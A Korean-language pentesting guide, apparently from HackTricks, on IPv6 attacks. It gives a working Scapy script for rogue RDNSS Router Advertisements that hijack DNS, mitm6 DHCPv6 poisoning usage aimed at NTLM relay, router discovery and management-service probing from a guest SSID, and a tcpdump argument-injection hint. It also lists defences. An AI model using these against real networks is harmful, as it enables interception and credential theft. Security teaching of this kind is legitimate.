RDNSS (DNS) ์Šคํ‘ธํ•‘์„ ํ†ตํ•œ RA

RFC 8106์€ RA ๋‚ด์— ์žฌ๊ท€ DNS ์„œ๋ฒ„ (RDNSS) ์˜ต์…˜์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ˜„๋Œ€ ์šด์˜ ์ฒด์ œ(Win 10 โ‰ฅ1709, Win 11, macOS Big Sur, Linux systemd-resolved ๋“ฑ)๋Š” ์ด๋ฅผ ์ž๋™์œผ๋กœ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค:

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

ํด๋ผ์ด์–ธํŠธ๋Š” ์ฃผ์–ด์ง„ ์ˆ˜๋ช… ๋™์•ˆ DNS๋ฅผ ์ž์‹ ์˜ ๋ฆฌ์กธ๋ฒ„ ๋ชฉ๋ก์— ์„ ํ–‰ ์ถ”๊ฐ€ํ•˜์—ฌ ๊ฐ’์ด ๋งŒ๋ฃŒ๋˜๊ฑฐ๋‚˜ lifetime=0 ๋ฆฌ๋ฒ„ํŠธ๋ฅผ ์ „์†กํ•  ๋•Œ๊นŒ์ง€ ์ „์ฒด DNS ํ•˜์ด์žฌํ‚น์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

DHCPv6 DNS ์Šคํ‘ธํ•‘ (mitm6)

SLAAC ๋Œ€์‹ , Windows ๋„คํŠธ์›Œํฌ๋Š” ์ข…์ข… DNS๋ฅผ ์œ„ํ•ด ๋ฌด์ƒํƒœ DHCPv6์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. mitm6๋Š” Solicit ๋ฉ”์‹œ์ง€์— ์ž๋™์œผ๋กœ ์‘๋‹ตํ•˜์—ฌ Advertise โ†’ Reply ํ๋ฆ„์„ ํ†ตํ•ด ๋‹น์‹ ์˜ ๋งํฌ-๋กœ์ปฌ ์ฃผ์†Œ๋ฅผ 300์ดˆ ๋™์•ˆ DNS๋กœ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

  • NTLM ๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ (WPAD + DNS ํ•˜์ด์žฌํ‚น)
  • ๋ผ์šฐํ„ฐ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๋‚ด๋ถ€ ์ด๋ฆ„ ํ•ด์ƒ๋„ ๊ฐ€๋กœ์ฑ„๊ธฐ

์ผ๋ฐ˜์ ์ธ ์‚ฌ์šฉ:

sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

๋ฐฉ์–ด

  • ๊ด€๋ฆฌํ˜• ์Šค์œ„์น˜์—์„œ RA Guard / DHCPv6 Guard / ND Inspection.
  • ํ•ฉ๋ฒ•์ ์ธ ๋ผ์šฐํ„ฐ์˜ MAC๋งŒ RAs๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ํฌํŠธ ACL.
  • ๋ถˆ์•ˆ์ •ํ•œ ๊ณ ์† RAs ๋˜๋Š” ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด RDNSS ๋ณ€๊ฒฝ ๋ชจ๋‹ˆํ„ฐ๋ง.
  • ์—”๋“œํฌ์ธํŠธ์—์„œ IPv6๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์€ ํ˜„๋Œ€ ์„œ๋น„์Šค์— ์ž์ฃผ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ค๊ณ  ๋ธ”๋ผ์ธ๋“œ ์ŠคํŒŸ์„ ์ˆจ๊ธฐ๋Š” ์ž„์‹œ ํ•ด๊ฒฐ์ฑ…์ž…๋‹ˆ๋‹ค โ€“ ๋Œ€์‹  L2 ํ•„ํ„ฐ๋ง์„ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค.

๊ฒŒ์ŠคํŠธ/๊ณต์šฉ SSID์—์„œ์˜ NDP ๋ผ์šฐํ„ฐ ๋ฐœ๊ฒฌ ๋ฐ ๊ด€๋ฆฌ ์„œ๋น„์Šค ๋…ธ์ถœ

๋งŽ์€ ์†Œ๋น„์ž ๋ผ์šฐํ„ฐ๋Š” ๋ชจ๋“  ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ๊ด€๋ฆฌ ๋ฐ๋ชฌ(HTTP(S), SSH/Telnet, TR-069 ๋“ฑ)์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋ฐฐํฌ์—์„œ๋Š” โ€œ๊ฒŒ์ŠคํŠธ/๊ณต์šฉโ€ SSID๊ฐ€ WAN/์ฝ”์–ด์— ๋ธŒ๋ฆฌ์ง•๋˜์–ด ์žˆ์œผ๋ฉฐ IPv6 ์ „์šฉ์ž…๋‹ˆ๋‹ค. ๋ผ์šฐํ„ฐ์˜ IPv6๊ฐ€ ๋งค ๋ถ€ํŒ…๋งˆ๋‹ค ๋ณ€๊ฒฝ๋˜๋”๋ผ๋„, NDP/ICMPv6๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฅผ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ํ•™์Šตํ•˜๊ณ  ๊ฒŒ์ŠคํŠธ SSID์—์„œ ๊ด€๋ฆฌ ํ‰๋ฉด์— ์ง์ ‘ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒŒ์ŠคํŠธ/๊ณต์šฉ SSID์— ์—ฐ๊ฒฐ๋œ ํด๋ผ์ด์–ธํŠธ์˜ ์ผ๋ฐ˜์ ์ธ ์ž‘์—… ํ๋ฆ„:

  1. ๋ชจ๋“  ๋ผ์šฐํ„ฐ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ff02::2์— ICMPv6 ๋ผ์šฐํ„ฐ ์š”์ฒญ์„ ํ†ตํ•ด ๋ผ์šฐํ„ฐ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ๋ผ์šฐํ„ฐ ๊ด‘๊ณ (RA)๋ฅผ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA๋Š” ๋ผ์šฐํ„ฐ์˜ ๋งํฌ ๋กœ์ปฌ ๋ฐ ์ข…์ข… ๊ธ€๋กœ๋ฒŒ ์ฃผ์†Œ/ํ”„๋ฆฌํ”ฝ์Šค๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. ๋งํฌ ๋กœ์ปฌ๋งŒ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, ์—ฐ๊ฒฐ ์‹œ ์กด ์ธ๋ฑ์Šค๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. ์˜ˆ: ssh -6 admin@[fe80::1%wlan0].

๋Œ€์•ˆ: ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ndisc6 ์Šค์œ„ํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. ๊ฒŒ์ŠคํŠธ SSID์—์„œ IPv6๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. ๊ด€๋ฆฌ ์…ธ์ด ๋ž˜ํผ๋ฅผ ํ†ตํ•ด ํŒจํ‚ท ์บก์ฒ˜ ๋„๊ตฌ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒฝ์šฐ(์˜ˆ: tcpdump), ์ถ”๊ฐ€ tcpdump ํ”Œ๋ž˜๊ทธ(-G/-W/-z)๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š” ์ธ์ˆ˜/ํŒŒ์ผ ์ด๋ฆ„ ์ฃผ์ž…์„ ํ™•์ธํ•˜์—ฌ ํฌ์ŠคํŠธ ํšŒ์ „ ๋ช…๋ น ์‹คํ–‰์„ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ฐธ์กฐ:

Wildcards Spare tricks

๋ฐฉ์–ด/๋…ธํŠธ:

  • ๊ด€๋ฆฌ ๊ธฐ๋Šฅ์„ ๊ฒŒ์ŠคํŠธ/๊ณต์šฉ ๋ธŒ๋ฆฌ์ง€์— ๋ฐ”์ธ๋”ฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค; SSID ๋ธŒ๋ฆฌ์ง€์— IPv6 ๋ฐฉํ™”๋ฒฝ์„ ์ ์šฉํ•˜์‹ญ์‹œ์˜ค.
  • ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๊ฒŒ์ŠคํŠธ ์„ธ๊ทธ๋จผํŠธ์—์„œ NDP/RS/RA์˜ ์†๋„ ์ œํ•œ ๋ฐ ํ•„ํ„ฐ๋ง์„ ์ ์šฉํ•˜์‹ญ์‹œ์˜ค.
  • ๋„๋‹ฌ ๊ฐ€๋Šฅํ•ด์•ผ ํ•˜๋Š” ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์ธ์ฆ(N/MFA) ๋ฐ ๊ฐ•๋ ฅํ•œ ์†๋„ ์ œํ•œ์„ ์‹œํ–‰ํ•˜์‹ญ์‹œ์˜ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ